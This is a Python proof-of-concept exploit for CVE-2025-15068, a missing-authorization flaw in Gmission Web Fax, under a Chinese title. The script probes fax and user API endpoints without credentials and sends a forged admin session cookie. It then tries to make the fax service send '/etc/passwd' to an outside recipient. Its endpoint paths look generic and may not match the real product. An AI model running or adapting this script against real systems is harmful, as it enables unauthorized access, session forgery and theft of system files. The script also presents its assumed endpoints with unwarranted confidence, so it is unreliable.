CVE-2025-15068: Gmission Web Fax 缺失授权漏洞导致认证滥用和会话凭证伪造

# CVE-2025-15068 PoC - Gmission Web Fax Authorization Bypass # This PoC demonstrates the missing authorization vulnerability import requests import json TARGET_URL = "http://target-server:8080" CVE_ID = "CVE-2025-15068" def exploit_missing_authorization(): """ Exploit for Missing Authorization vulnerability in Gmission Web Fax Allows Authentication Abuse and Session Credential Falsification """ print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET_URL}") # Step 1: Identify vulnerable endpoints (no authorization check) vulnerable_endpoints = [ "/api/fax/send", "/api/fax/list", "/api/fax/download", "/api/user/profile", "/api/session/validate" ] # Step 2: Attempt unauthorized access without authentication print("\n[+] Step 1: Testing unauthorized access to protected endpoints") for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # No authentication headers - testing if authorization is enforced try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[VULN] {endpoint} - Accessible without authentication") print(f"[VULN] Response: {response.text[:200]}") elif response.status_code == 401: print(f"[SAFE] {endpoint} - Requires authentication") except Exception as e: print(f"[ERROR] {endpoint} - {str(e)}") # Step 3: Test session credential falsification print("\n[+] Step 2: Testing session credential falsification") forged_session = { "session_id": "forged_session_12345", "user_id": "admin", "role": "administrator", "authenticated": True } headers_with_forged_session = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Cookie": f"session={json.dumps(forged_session)}" } url = f"{TARGET_URL}/api/user/profile" try: response = requests.get(url, headers=headers_with_forged_session, timeout=10) if response.status_code == 200: print(f"[VULN] Session falsification successful - gained admin access") print(f"[VULN] Response: {response.text}") except Exception as e: print(f"[ERROR] {str(e)}") # Step 4: Perform unauthorized fax operations print("\n[+] Step 3: Attempting unauthorized fax operations") fax_data = { "recipient": "[email protected]", "attachment": "/etc/passwd", "action": "send" } url = f"{TARGET_URL}/api/fax/send" try: response = requests.post(url, json=fax_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[VULN] Unauthorized fax operation successful") except Exception as e: print(f"[ERROR] {str(e)}") if __name__ == "__main__": exploit_missing_authorization()